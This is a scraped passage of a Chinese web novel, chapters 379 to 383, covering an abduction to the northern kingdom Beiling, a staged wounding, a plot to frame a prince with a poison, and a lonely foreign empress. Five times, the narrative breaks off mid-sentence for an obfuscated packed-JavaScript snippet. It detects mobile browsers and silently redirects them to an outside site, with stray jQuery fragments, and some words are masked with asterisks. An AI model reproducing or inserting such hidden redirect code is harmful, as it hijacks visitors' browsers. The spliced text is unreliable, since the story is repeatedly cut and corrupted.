刀剑相击的清脆声响瞬间在空旷的雪原上炸开,与呼啸的风雪混杂在一起。 阿齐等人抱着必死的决心,招招都是同归于尽的打法,一时间竟真的将凌芜二人死死缠住。 马车内,剧烈的摇晃让姜姝宁不得将小邺君死死抱住,以护住他的安全。 车窗外,刀光剑影,人影翻飞,每一下刀刃碰撞的声音,都像一记重锤,狠狠敲在她的心上。 她看着凌芜在**中险象环生,心揪得生疼。 “殿下,”她望向身侧的男人,哀求道,“能不能让他们不要打了?凌芜……她从前是我的婢女,求殿下让阿齐他们不要伤害她,好不好?” 话一出口,姜姝宁就后悔了。 果然,萧怀瑾的身体瞬间僵住,他猛地转过头,那双平日里温润的眸子,此刻却像结了冰的湖面,锐利得让她心惊。 “你想起来了?”他的声音很轻,却透着一股山雨欲来的压迫感。 事已至此,再隐瞒也无济于事。 姜姝宁深吸一口气,迎上他的目光,坦白道:“是,我都想起来了。” 这个答案瞬间点燃了萧怀瑾眼底积压已久的风暴。 “既然你想起来了,就应该清楚萧凌川是个什么样的人!你更应该和我一起离开这里,去北陵开始新的生活!”他眼中布满血丝,那是一种姜姝宁从未见过的疯狂与偏执,“你曾亲口告诉我,你心仪之人是我!就是因为你这句话,我才不惜一切,跋山涉水也要找到你!可如今呢?你就在我身旁,却还在抗拒我!姜姝宁,你怎能如此铁石心肠?” 他的质问像一颗颗烧红的石子,砸得姜姝宁心口发闷。 “殿下,我承认,”她艰涩地开口,“从前,我确实对你动过心。你性格温和,待人赤诚,宛如清风明月,这世上,怕是没有哪个女子能不为你这样的男子心动。可……” “可感情的事,从来不是一成不变的。这一路走来,我变了,你也变了……殿下,若你真心为我好,就放我们母子回去,好吗?别逼我去北陵,那对我而言,是一个完全陌生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470382|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的地方。君儿还太小了,他根本受不了北陵那种极寒刺骨的天气……” 她试图唤醒他的理智,然而,他唇边缓缓勾起的一抹笑,那笑容里没有半分暖意,只有无尽的嘲讽与冰冷。 “太晚了。” 萧怀瑾俯下身,骤然拉近的距离让姜姝宁能清晰地看到他眼底疯狂燃烧的火焰。他的气息拂在她的脸上,带着雪的寒意和一种灼人的滚烫。 “其实我挺后悔的,”他低声说,那温润的嗓音此刻听来却如同魔鬼的低语,“如果一开始,我就跟萧凌川一样,用最直接的手段,强行将你锁在我身边,不给你任何选择的余地。说不定……你早就是我的妻了。” 他脸上浮现的,是毫不掩饰的、对往日“温润”的自己的鄙夷与唾弃。 姜姝宁彻底怔住了,她难以置信地看着眼前这张熟悉又陌生的脸。 那个怀中抱着温顺小鹿,目光如春水般柔和,因她一句不经意的玩笑话就羞涩脸红的宁王殿下,和眼前这个眼神疯狂、言语偏执、甚至说出后悔自己不够“强硬”的男人,真的是同一个人吗? 萧怀瑾是何时变成这样的? 是她记忆的缺失,还是她从未真正看懂过他温润面具下的真实模样? 就在此时,雪山的另一侧,忽有一队身披铁甲、气势肃杀的人影浮现,正是镇守边境的北陵士兵。 萧怀瑾望见来人,苍白的脸上浮现一抹释然的笑意:“是皇姐派来接应我们的人!” 凌芜和凌风也远远瞧见了那队北陵士兵,他们深知,以自己二人的力量,无论如何也无法阻拦萧怀瑾的马车,更无法将王妃带回王爷身边。 凌芜眼中闪过一抹决绝,她猛地咬紧牙关,不顾一切地朝萧怀瑾的马车冲去。 阿齐见状,瞳孔一缩,下意识横刀阻拦,却未料到凌芜竟丝毫不闪不避,直直撞上他手中寒光凛冽的长刀。 刀锋入肉,鲜血骤然迸溅,凌芜的身躯如折翼的飞鸟,重重倒在皑皑白雪之上。 殷红的血迅速洇开,染红了脚下冰冷的雪地,刺目得令人心颤。 “凌芜——”姜姝宁目睹这一幕,心如刀绞,喉间涌上一股腥甜,几乎窒息。 第380章 竟对她存了这种心思! 第三百八十章竟对她存了这种心思! 北陵的士兵训练有素,他们很快呈合围之势,将马车护在中央,彻底隔绝了凌风和凌芜任何靠近的可能。 阿齐也趁机迅速追上马车。 车厢内光线昏暗,小邺君还在沉睡,小小的身子蜷缩在她怀里,发出均匀的呼吸声。 可姜姝宁整个人都在发抖,不是因为冷,而是因为愤怒和恐惧。 她双目泛红,死死地瞪着萧怀瑾,眼底满是控诉。 “阿齐不是故意的!”萧怀瑾急切解释道,“他只是想拦住凌姑娘,并不想伤她性命!” “他当然不是故意的!”姜姝宁的声音嘶哑,每一个字都像是从牙缝里挤出来的,“他不过一个侍卫而已,他有什么资格做什么决定?他不过是奉命行事!” 她的视线像两把淬了冰的刀子,直直射向萧怀瑾。 “你怀疑是我?”萧怀瑾脸色瞬间沉了下去,眼中满是难以置信,“在你眼中,我就是这样一个为了达到目的,不惜伤及无辜的人?” “我不知道。”姜姝宁眼底蒙上一层薄薄的水雾,视线中的他逐渐模糊,仿佛隔着无形的深渊,“殿下,我真的不知道……我发现自己从未真正认识过你。你变了,变得让我害怕。” 她的话语像一盆冰水,浇熄了他眼底的怒火,只剩下灰烬般的复杂与晦暗。 萧怀瑾的神色复杂到了极点,痛苦、偏执、还有一丝不为人知的脆弱,在他脸上交替闪现。 他伸出手,不顾姜姝宁下意识的闪躲,将她和小邺君一同圈进怀里。 “对不起,姝宁,是我吓到你了。”他的声音压得很低,像是怕吓到她,“这些时日,变故太多,我心底总有一种恐惧,无论如何努力,似乎都会失去你。我知晓如今的我过于强硬,让你难以适应……可这一切,归根结底只因我太怕失去你。待我们到了北陵,安顿下来,我定会如从前一般,珍重你的心意,尊重你的选择,可好?” 他的声音里带着一丝颤抖,听起来情真意切,仿佛剖白了自己所有的不安与深情。 可姜姝宁只是僵直着身体,一动不动。 心,却在这虚伪的温情中,一点一点,沉入了冰冷的谷底。 尊重她的选择? 若他真的尊重她的选择,就不会用这种近(乎)**的方式,强行将他们母子带去北陵。 让她在一个完全陌生的国度,举目无亲,最终不得不完全依附于他。 这样的他,用温柔做武器,用深情做锁链,甚至比那个喜怒无常、手段狠戾的萧凌川,还要令人不寒而栗。 …… 马车队渐行渐远,最终消失在风雪弥漫的山坳尽头。 凌风连忙将躺在雪地里的凌芜扶了起来。 “王爷让你用苦肉计,你还真用啊!”他一边检查她的伤口,一边没好气地埋怨,“就算要用,被刺中的也应该是我!你一个姑娘家,急着出什么风头?不知道疼吗?” “你不懂。”凌芜疼得嘴唇发白,捂住不断渗血的伤口,“王妃对我有感情,看我受伤肯定比看你受伤更难受,对那个宁王也只会愈发厌恶。再说了,不过是皮外伤,死不了,回去擦点药就好了。” 能帮王爷离间宁王和王妃的关系,这点伤,值了! 凌风看着她苍白却倔强的脸,神色复杂得厉害,心头涌上一股说不清道不明的烦躁:“以后别这么鲁莽。你毕竟是个姑娘,身上留了疤多不啊!” “有什么不好的?”凌芜反问,只觉得他小题大做。 “若你以后成亲,你未来的夫君介意怎么办?” “那我就不找介意我身上有疤的夫君不就好了吗?”她白了他一眼。 凌风被她这句话噎得半天说不出话来,胸口那股无名火烧得更旺了。 他瞪着她,几乎是脱口而出:“也行,反正我是不会介意的!” 话音落下,周遭的空气瞬间凝固了。 风雪依旧在呼啸,刮在脸上像刀子一样疼。 凌芜一脸错愕看着凌风。 他……刚才说什么? 凌风自己也愣住了,显然没料到自己会把心里话就这么直白说了出来。 他的脸以肉眼可见的速度涨红,眼神开始闪躲,不敢再看她,只恨不得找个雪堆把自己的头埋进去。 凌芜:“……” 这家伙原来竟对她存了这种心思! —— 夜影阁内,烛火摇曳,将人的影子拉得细长诡异。 一个身披斗篷的女人站在堂中,声音清冷,带着一丝不耐烦的质问。 “寒影,你不是说,天泽在你这吗?人呢?” 寒影一身黑衣,闻言躬身行礼,姿态恭敬:“南月毒师,久仰大名! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470383|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其实,今日请你来的,并非在下,而是魏夫人!” 魏夫人? 姜三夫人眉心一蹙,正自疑惑,一侧的珠帘哗啦作响,有人掀帘而出。 来人是姜瑶真。 她脸上挂着一抹恰到好处的微笑,熟络地打招呼:“三婶,好久不见。” 姜三夫人斗篷下的眼神锐利如刀,上下打量着她,语气疏离:“原来是二小姐,你找我有事?” “我想请你帮我研制一种……药。”姜瑶真开门见山,“能帮人恢复神志的。” 她说着,侧身引姜三夫人往里屋去。 昏暗的内室里,一股浓重的药味扑面而来。 床上躺着一个男人,面色蜡黄,双目紧闭,呼吸微弱,显然神志不清。 看清那人面容的瞬间,姜三夫人下意识脱口而出:“首辅大人?” “你认识他?”姜瑶真有些讶异,随即追问,“难道你回过南月?” “何止。”姜三夫人转过身,斗篷下的嘴角勾起一抹极尽嘲讽的弧度,“我还做过一段时间的南月贵妃。我的儿子姜天泽,是南月太子。” “什么?” 姜瑶真和寒影几乎是同时叫出了声,两人脸上的惊骇如出一辙。 看到他们这副模样,姜三夫人脸上的嘲讽愈发浓重,声音也冷了下去:“看样子,你们根本不知道我儿子的下落,只是用这种方式将我引来罢了。” “不,南月毒师。”寒影立刻上前一步,打断了她的猜测,“若您儿子真是南月太子,那在下还真知道他的下落。” 他语速极快,将事情和盘托出:“那晚我们潜入景王府地牢,找到首辅大人的时候,他也在。在下听他说自己是南月太子,便将他放了。后来,他说要去北陵,便独自离开了。” “景王府地牢?”这几个字瞬间点燃了姜三夫人的怒火。 她的脸色变得极其难看,声音里满是压抑不住的恨意,“萧凌川害我们母子流离失所还不够,竟如此苦苦相逼,实在欺人太甚!” “三婶!”姜瑶真抓住时机,上前一步,声音恳切而急迫,“萧凌川心思歹毒,对待我们族人丝毫没有手下留情。我们不能坐以待毙,得联手扳倒他!否则,往后不知还要被他如何**!” 姜三夫人猛地抬头,斗篷下的双眼迸射出骇人的寒光。 “好,就依你!” 第381章 你果然很像你的姨娘 第三百八十一章你果然很像你的姨娘 姜瑶真见姜三夫人应下,便侧过脸,对一旁的寒影道:“我们有些话想私底下聊聊,还请您回避一下。” 寒影没多问,悄无声息地退了出去。 屋内,熏香袅袅,气氛却陡然凝滞。 姜三夫人主动打破沉默:“能让人恢复神志的药,我自然能制。可你也知道,我这里出去的药,从来都不是什么救人活命的灵丹。说是药,不如说是毒。” “恢复神志是没问题,但那毒会顺着血脉一点点渗进骨髓里,神仙难救。到时候,我可没办法医治。” “另外,就算恢复神志,也撑不了太长时间。你当真要给那位南月首辅大人,服下这样的药?” “自然。”姜瑶真声音冰冷,“我不需要他活多久。我只要他,能清醒着当着陛下和整个大邺文武百官的面,亲口指认,萧凌川是他和南月公主的骨肉(便)可。” “至于之后他是死是活,能活多久,我不在乎!” 这才是她方才故意支走寒影的真正缘故。 赵首辅是寒影的主子,寒影多年来忠心耿耿,自然是不可能答应主人被喂下刮骨**的。 姜三夫人脸上浮起错愕的神色:“萧凌川是首辅大人的骨肉?这事……是真的?” “真假,重要吗?”姜瑶真冷冷地扯了扯嘴角,那笑意却未达眼底,“只要能将他萧凌川彻底踩进泥里,永世不得翻身,这就是一个顶好的法子!三婶,您说是不是?” 姜三夫人目不转睛地看着她,像是第一次认识她。 半晌,她才慢悠悠地开口:“此事牵涉皇室血脉,非同小可。大邺朝臣岂会仅凭敌国首辅的一面之词便信以为真?况且,朝中支持萧凌川的势力盘根错节,若我未记错,你父亲姜丞相亦是他的坚实后盾。单凭空口无凭的污蔑,怕是无人会信!” “不信又如何?大不了做一场滴血认亲。”姜瑶真逼近一步,声音压得极低,却字字如刀,清晰刺耳,“三婶,您以为陛下不愿除掉萧凌川吗?他只是缺少一把趁手的利刃罢了。如今我们亲手奉上这把刀,只要能为他铲除萧凌川这个心腹大患,陛下定会全力相助,将这场戏演成铁板钉钉的‘真相’!” 她微微一顿,眼底闪过一抹阴鸷,低声冷笑:“届时,只需让主持滴血认亲的太医在那碗清水里稍作手脚。一滴血,便能将这弥天大谎,化作不容辩驳的‘事实’!” 姜三夫人看着她这副胸有成竹、狠辣果决的模样,脸上的诧异渐渐褪去,转而浮起一丝意味深长的笑意。 “二小姐,你果然,很像你的姨娘。” “姨娘”两个字,像一根淬了毒的针,狠狠扎进姜瑶真的心口。 刹那间,一股汹涌的恨意自心底翻涌而上,几乎要冲破她精心伪装的平静。 她指甲深深掐进掌心,尖锐的刺痛才勉强将那滔天的恨意压了下去。 不过是瞬息之间,她脸上的神情便恢复如常,甚至还露出了一抹更加明艳的浅笑,仿佛刚才那瞬间的僵硬只是旁人的错觉。 “是吗?”她歪着头,语气轻快,“那我就当,三婶是在夸我了。” —— 京城,景王府。 书房内沉香袅袅,却驱不散空气里那股子山雨欲来的凝重。 凌芜单膝跪地,头低垂着,声音里是压抑不住的懊丧与自责:“王爷,属下无能,没能拦下宁王的马车。王妃和小世子……被带去北陵了。” 空气仿佛在这一瞬间凝固,连香炉里飘出的青烟都停滞了。 良久,萧凌川才缓缓转过身,目光径直落在凌芜的右肩上。 那里的衣料被血染得深黑,在月色下显得触目惊心。 “你受伤了?”他的声音依旧听不出喜怒,“被萧怀瑾的人伤的?” 提到这个,凌芜的头这才稍稍抬起,语气里竟掺杂了一丝不易察觉的得意:“是!属下按照王爷的吩咐,故意露出破绽,让王妃亲眼目睹了属下被宁王侍卫所伤。王妃当时还惊呼了属下的名字,想来是很心疼属下的!” 她至少完成了王爷交代的另一项任务,没有全盘搞砸。 “做得好。”萧凌川脸上终于浮起一丝笑意,他接着道,“萧怀瑾还是五皇子时,便与长公主关系深厚。他逃去北陵,身为北陵皇后的长公主自然会护着他。说起来,大邺与北陵这些年能维持和平,还要归功于我的这位皇姐。若非她远嫁那片寒地,也不会有今日的太平。” 凌风小心翼翼地抬起目光,试探问:“王爷,那我们如今是要去北陵向长公主要人吗?” “自然。”萧凌川目光变得深沉难测:“可萧怀瑾和皇姐的关系,远比我跟她深厚些。本王听说,当年皇姐和亲,那十里红妆,有一半都是崔家,也就是萧怀瑾的母家给凑的。这份情,可比我们这点淡薄的姐弟情分重多了。 要想说服皇姐,将我的王妃和世子交还,单靠血缘不够。必须以更重的利益,才能拉她入局。” 凌风和凌芜的神色瞬间变得凝重。 他们都明白,一旦事情涉及到另一个国度,就远不是打打杀杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16476644|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么简单了。 稍有不慎,就不是单纯的夺妻夺子,而会演变成一场谁也无法预料的两国纷争。 “这宁王真是阴险!竟把王妃和小世子带到北陵,这不是明摆着逼得王爷您陷入如今这般两难的境地吗!”凌芜终于忍不住,愤愤地骂道,“当初王妃还欣赏他为人正直,清风霁月,我看他根本就是个**子!他配不起王妃的欣赏!” “无妨。”萧凌川的反应出乎意料的平静,嘴角勾起一抹苦涩的笑意,“让她看清他的真面目,也未尝不是好事。至少让她明白,这世上为她不择手段、行事卑劣的人,不只本王一个。等她看清了所有伪装,是不是……就愿意留在本王身边了?” 那是一种近(乎)绝望的自我安慰,像一个溺水的人,拼命抓住一根腐朽的浮木。 “王爷!”凌芜听着他话语里的苍凉,心中一痛,脱口而出,“别人不知,可属下知道,您是天底下最珍爱王妃之人!王妃有朝一日,定会想起王爷的好,回到王爷身边的!” “但愿吧。”萧凌川敛了敛眸,将所有外泄的情绪尽数收回眼底深处,又变回了那个喜怒不形于色的景王。 他站起身,重新走到窗边,望着天边那轮残月。 “本王已经让人将孙神医接了回来,你们去他那处理一下伤口,别留下病根。”他的声音恢复了惯有的命令口吻,冷硬而果决,“接下来,我们还有一场硬仗要打。” “是,王爷!”凌芜和凌风齐声应道,随即起身,悄无声息地退出了书房。 房门被轻轻合上,书房内再度恢复了死寂。 萧凌川依旧立在窗前,月光将他的影子拉得极长,孤寂地投在冰冷的地板上。 他缓缓抬起手,摊开掌心。 那里,静静躺着一枚小巧的白玉佩,玉质温润,被他长年摩挲,已染上了一丝属于他的体温。 这是当年他在荷花池中将姜姝宁救起时,自她身上落下的物件,她大概都不记得了,可他却视若珍宝,珍藏至今。 不只今生,前世亦是如此。 姜姝宁始终以为,前世他对她冷酷无情,却不知他也曾心动,只是从未宣之于口。 前世的他野心勃勃,一心渴求父皇的认可,渴望挣脱敌国血脉的枷锁,以至于被姜瑶真母女蒙蔽利用,痛失挚爱之人,铸下一生的大错。 今生,他一心想要弥补,可姜姝宁却拒他于千里之外。 若这是他的报应,他甘愿承受。 只盼老天能怜他一片赤诚,赐他与姝宁一个相守的机缘。 第382章 无法与外人道的落寞 第三百八十二章无法与外人道的落寞 北陵的风像带着冰碴的刀子,刮在脸上生疼。 这风无孔不入,钻进宫殿的每一条缝隙,让地龙烧得再旺也驱不散那股子阴寒。 小邺君就在这样的寒气里病倒了。 孩子太小了,只能用哭声表达他的痛苦。 那哭声一声接着一声,像细密的针,扎在姜姝宁的心尖上,搅得她五脏六腑都揪成了一团。 她已经两天两夜没合眼了,眼睛里布满了血丝,整个人像一根被绷到极限的弦,随时都可能断掉。 她抱着怀里烧得通红的小人儿,不停地踱步哄着,可怀里的小家伙根本不领情,依旧哭得上气不接下气。 北陵的太医来看过,他们开出的方子无非是些北陵人常用的烈性草药,姜姝宁哪里敢给这么小的孩子用? 她只能用最笨的法子,一遍遍用温水给孩子擦拭身体,再用小勺子往他干裂的小嘴里喂水。 她不止一次在心中怨恨萧怀瑾,怪他自作主张将她和小邺君带到北陵,让孩子无端承受这般深重苦难。 就在她心力交瘁,几乎要抱着孩子一起哭出来的时候,殿外传来了内侍尖细的通报声。 “皇后娘娘驾到——” 姜姝宁心头一震,顾不得整理仪容,只得抱着孩子,慌忙迎了出去,屈膝行礼时,满身狼狈。 “民女姜姝宁……见过皇后娘娘!” 一只温暖的手扶住了她的手臂,力道轻柔却不容拒绝。 “快起来吧。” 姜姝宁抬起头,撞进一双温柔的眼眸里。 北陵的皇后看起来比萧政贤还要年长几岁,眉眼间是岁月沉淀下的温婉,没有半分皇后的威压。 “皇后娘娘恕罪,民女本该早些去给您请安的,可……可民女的孩子他病了……” “无妨。”皇后看着她怀里哭得抽噎的小邺君,眼神里满是怜惜,“本宫知道一个孩子对母亲而言有多重要。他病着,你又怎有闲心顾及其他事?” 她说着,示意身后的宫女将捧着的几个锦盒呈上来。 “本来我也不该在这时候来打扰你,但我实在好奇,能让五弟那般倾心的人儿,会是什么模样。”皇后微微一笑,话锋一转,指着锦盒道,“这是我让宫人给你们母子做的几身衣衫,北陵天冷,你们刚来,怕是不习惯。还有这些,是我当年从大邺带来的药材,祛风寒、增强体质的,你看看合不合用。” 她顿了顿,补充道:“我听五弟说,你医术不错。但北陵的药材药性猛烈,与大邺的大不相同,我想,用咱们大邺的药材,或许更适合小公子的体质。” 姜姝宁的眼睛一下子就亮了,那感觉,不亚于在沙漠里看见了绿洲。 她前几步打开其中一个药材盒子,一股熟悉的、带着微苦的草药香扑面而来。 是紫苏、白芷、还有上好的川贝……全都是对症的! 这些日子她愁得头发都快白了,北陵皇宫里的药材她从未见过,更不知药性如何,想自己配药都无从下手。 “谢皇后娘娘!”姜姝宁的声音都在发颤,这是绝境中逢生的感激,“这药材……这药材对民女来说,太有用了!” 皇后看着她激动的样子,眼神愈发柔和了:“咱们大邺人,确实不习惯北陵这天寒地冻的天气。想当初我刚嫁过来时,也是大病了一场,病得起不来身,就连新婚之夜都无法伺候陛下……” 说到这里,她眼中飞快地闪过一丝黯然,那是一种深埋在心底的、无法与外人道的落寞。 但那情绪只是一瞬,她很快便敛去了,又恢复了那温和的笑容:“你在这儿若有什么需要,只管让人告诉我,别自己硬撑着。能帮的,我一定让宫人帮你安排好。” “多谢皇后娘娘。”姜姝宁再次深深一福。 目送着皇后的仪仗浩浩荡荡地离开,姜姝宁转身抱着孩子回了内殿。 她手脚麻利地拣选药材,生火熬药。 药汁浓郁的味道很快在殿内弥漫开来,仿佛也将那股子阴寒驱散了几分。 她用小银勺撬开小邺君的嘴,小心翼翼地将微温的药汁喂了进去。 许是药对症了,又许是哭累了,小邺君喝完药没多久,竟真的渐渐止住了哭声,在她怀里沉沉睡去。 听着孩子均匀的呼吸声,姜姝宁紧绷了几天的神经终于松懈下来。 她将孩子轻轻放在铺着厚厚软褥的床上,掖好被角,自己则瘫坐在床边的脚踏上,累得一根手指头都不想动。 歇了好一会儿,她才想起皇后送来的那些衣衫。 她走过去,将锦盒一一打开。 里面是几套崭新的夹棉宫装,面料是北陵特有的云锦,厚实又柔软。 她拿起一件孩童的小衣裳,入手是细腻的棉布,针脚细密得不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16476645|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思议。 她随手翻看着,忽然,指尖的触感让她停顿下来。 有几件衣衫的针脚,和其他的截然不同,针脚工整划一,针法细腻,不似北陵粗重的针脚。 上面的绣样不是北陵皇宫常见的祥瑞云纹,而是一株小小的、含苞待放的梅花。 这绣法……是大邺的苏绣。 姜姝宁有些惊讶。 这些,难道是皇后娘娘亲手缝制的? 夜色如墨,将巍峨的宫殿浸染得一片沉寂。 萧怀瑾推门而入,映入眼帘的便是姜姝宁独坐床榻旁,神情疲惫地为熟睡中的小邺君拭去额头细汗。 他心中顿时内疚不已。 “姝宁,是我不好。”他上前,伸手握住她放在膝上的手,清隽的脸上掠过一丝愧疚,“我本该和你一起照顾君儿的,无奈陛下总拉着我谈事……” 来北陵皇宫的这几日,北陵皇帝几乎日日召他议事,从商贸到兵防,从大邺的风土人情到崔家的生意经,事无巨细。 身为小舅子的他,面对姐夫的殷勤,实在难以推辞,以致无暇分身,帮她照看病中的孩子。 他的掌心温热,可那温度却仿佛无法传递到她的指尖。 姜姝宁的手指僵了一下,随即,她不动声色将手从他的掌心中抽了回去。 动作很轻,却像一道无形的屏障,将他隔绝在外。 “无妨。”她开口,声音平静得像一潭不起波澜的死水,“皇后娘娘送来了大邺的药材,我熬制了给君儿喝下,想来过几日他便能好起来。” “皇姐来过了?”萧怀瑾有些惊讶,紧接着,唇边便浮起一抹笑意,“我之前和她提起过你,她一直对你这个未来弟媳很好奇,没想到竟主动来了。” “未来弟媳”这四个字让姜姝宁有些不自在,她目光飘向桌案上那一小堆整齐叠放的衣物,岔开了话题。 “皇后娘娘送来了些孩童的衣衫。”她伸手拿起最上面的一件小衣,指尖轻轻拂过上面精致的绣样,“我看这针脚倒像是大邺绣法,想来是她亲手做的。我想着,等君儿好起来,我也做些衣衫送给她。不知她的孩子如今多大?” 她问得自然,仿佛只是出于礼尚往来的客套。 可这话一出,萧怀瑾脸上的笑意却瞬间凝固了。 良久,他才涩声开口,声音低得几乎要碎在夜风里:“皇姐她……没有子嗣。” 第383章 在他和她之间划开一道清晰的界限 第三百八十三章在他和她之间划开一道清晰的界限 姜姝宁有些惊讶:“皇后不是和北陵皇帝成婚多年吗?怎么会……” 话问出口,她才发觉自己似乎逾矩了。 这毕竟是皇家秘辛。 “其实皇姐刚嫁来北陵的时候,是怀过身孕的。”萧怀瑾叹了口气,神色有些遗憾,“可她初来这寒苦之地,身子又孱弱,那孩子……没保住。后来,就一直没怀上。好在帝后恩爱,北陵皇帝如今还是很器重皇姐,倒也是安慰。” 安慰? 这两个字像一根细针,扎在姜姝宁的心上。 身为皇后,却无子嗣,纵使帝后恩爱,也如同行走在悬崖之巅,脚下是无尽深渊,稍有不慎便会万劫不复。 如今大邺势力强盛,北陵皇帝或许还顾及和亲之情,对这位异乡皇后多有维护。 但国与国之间,哪来永恒的情义,只有永不消逝的利益。 倘若日后大邺衰退,或北陵皇帝钟情于新欢及其子嗣,这位远嫁他邦、孤立无援的女人,将面临何等凄凉的境地? 她亲手缝制的那些小衣,一针一线,绣上去的哪里是梅花,分明是她未曾说出口的遗憾和孤寂。 姜姝宁不由自主地回想起前世的自己,同样无子,孤独一生,到死都没半点留恋,胸口不禁一阵发闷。 她轻声说道:“那我明日去皇后寝宫里拜会她,看她还缺点什么,我再给她送去。” 这不单是礼尚往来,更是同为女人的惺惺相惜。 萧怀瑾闻言,黯淡的眸子骤然亮起,像黑夜里重新燃起的星火。 他向前一步,靠得近了些,语气里是压不住的欣喜。 “你是得跟皇姐好好攀交攀交,毕竟我们是一家人。” “一家人”三个字,像一根细小的针,不轻不重地扎在姜姝宁心上。 她下意识地后退了一小步,进一步,便足以在他和她之间划开一道清晰的界限。 她抬眼看他,眼神平静无波,语气也客气得疏离:“殿下,夜深了,您先回去吧。我和君儿要歇息了。” 这几天,她总是这样。 用最礼貌的言辞,做着最冷漠的事,把他推得远远的。 萧怀瑾胸口一滞,那点刚刚燃起的欢喜,瞬间被这盆冷水浇得透心凉。 他看着她,想说点什么,可对上她那双清冷如古井的眸子,所有话都堵在了喉咙里。 他最终只是扯出一个勉为其难的笑。 “好。你好好休息,明日我再来看你。” 他的声音里带着一丝不易察觉的沙哑,转身的背影在烛光下拉得很长,显得有些落寞。 姜姝宁目送他离开,直到他的身影彻底消失在门外,才伸手将殿门合上,“哐当”一声,门闩落下的声音在寂静的夜里格外清晰。 她回到床边,看着小邺君恬静的睡颜,心中却忍不住想起北陵皇后。 她一个人从繁华的故国嫁到这苦寒之地,身边没有子嗣傍身,在这深宫之中,日复一日,年复一年,她究竟是如何熬过来的? 白日里她那温和的笑容背后,似乎藏着许多不为人知的酸楚和血泪。 像极了前世被困在深宅里的自己。 自己,能不能为她做点什么呢? 第二日天刚蒙蒙亮,姜姝宁就起了身。 她亲自去小厨房,取了上好的新杏仁,细细研磨成粉,和着牛乳、蜜糖,做她最拿手的杏仁饼。 饼子在炭火上烤得两面金黄,浓郁的杏香弥漫开来,驱散了北陵清晨的寒气。 她将还带着温热的杏仁饼小心翼翼地装进食盒,提着去了皇后的凤栖宫。 凤栖宫的内侍见到她,客气地行了个礼:“姜姑娘来了。只是不巧,今日是十五,宫中嫔妃们正给皇后娘娘请安呢。” 他引着姜姝宁往偏殿走,“您先在偏殿候着,娘娘得空了,奴才会即刻通传。” 姜姝宁有些讶异。 如今都巳时了,太阳高高挂起,这请安竟还未结束? 她嘴上没多问,只道了声谢,便提着食盒进了偏殿。 这偏殿与正殿仅一扇雕花木窗相隔,许是为着透气,窗扇半开着。 殿内的谈笑声隐隐约约传来,像隔着一层薄纱。 姜姝宁的好奇心被勾了起来,她悄步走到窗边,借着镂空花纹的缝隙朝里望去。 只见皇后萧氏端坐于正殿中央的凤位上,一身翟衣衬得她愈发清瘦。 她周围,环坐着一群北陵嫔妃。 那些女子个个身形高挑,骨架比大邺女子大了不止一圈。 她们妆容艳丽,发髻高耸,身上穿的衣料色彩斑斓,像一群争奇斗艳的孔雀。 被她们这么一围,皇后倒像一只误入孔雀群的白鸽,显得娇小又孤单。 殿内气氛有些凝滞,皇后轻声问身旁的内侍:“高贵妃还没来吗?” 那内侍躬身回道:“回娘娘,已经遣人去催了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16485496|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,想来贵妃娘娘应该快到了。” 皇后轻轻颔首:“那便再等等她吧。” 她声音不大,却透着一股无奈的疲惫。 话音刚落,殿外便传来一阵张扬的笑声,一个穿着华贵紫貂皮裘的女子在一众宫人的簇拥下,姗姗来迟。 